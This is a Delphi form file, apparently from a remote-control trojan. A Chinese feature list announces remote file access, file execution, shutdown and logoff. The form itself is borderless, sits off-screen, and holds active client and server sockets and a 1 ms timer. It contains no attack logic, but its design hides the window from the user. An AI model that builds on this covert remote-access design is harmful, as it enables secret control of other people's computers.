unit1.dfm

１、远程文件访问。包括文件下载、上传（限文件8M以内）、文件（夹）更名、文件（夹）删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。 ２、远程关机、启动、注销、修改组织名、用户名。

object Form1: TForm1
  Left = 200
  Top = -200
  BorderStyle = bsNone
  Caption = 'Form1'
  ClientHeight = 68
  ClientWidth = 116
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  OnCloseQuery = FormCloseQuery
  OnCreate = FormCreate
  PixelsPerInch = 96
  TextHeight = 13
  object lb1: TListBox
    Left = 4
    Top = 4
    Width = 20
    Height = 20
    ItemHeight = 13
    TabOrder = 0
  end
  object M1: TMemo
    Left = 28
    Top = 4
    Width = 20
    Height = 20
    TabOrder = 1
  end
  object M2: TMemo
    Left = 52
    Top = 4
    Width = 20
    Height = 20
    TabOrder = 2
  end
  object DCB: TDriveComboBox
    Left = 92
    Top = 4
    Width = 20
    Height = 19
    TabOrder = 3
    OnChange = DCBChange
  end
  object TSLB: TListBox
    Left = 72
    Top = 4
    Width = 20
    Height = 20
    ItemHeight = 13
    TabOrder = 4
  end
  object cs: TClientSocket
    Active = True
    ClientType = ctNonBlocking
    Port = 0
    OnConnect = csConnect
    OnDisconnect = csDisconnect
    OnRead = csRead
    OnError = csError
    Left = 32
    Top = 4
  end
  object Timer1: TTimer
    Enabled = False
    OnTimer = Timer1Timer
    Left = 4
    Top = 4
  end
  object keyti: TTimer
    Enabled = False
    Interval = 1
    OnTimer = keytiTimer
    Left = 4
    Top = 32
  end
  object RECL: TTimer
    Interval = 50
    OnTimer = RECLTimer
    Left = 32
    Top = 32
  end
  object SS: TServerSocket
    Active = False
    Port = 0
    ServerType = stNonBlocking
    OnClientDisconnect = SSClientDisconnect
    OnClientRead = SSClientRead
    OnClientError = SSClientError
    Left = 80
    Top = 32
  end
end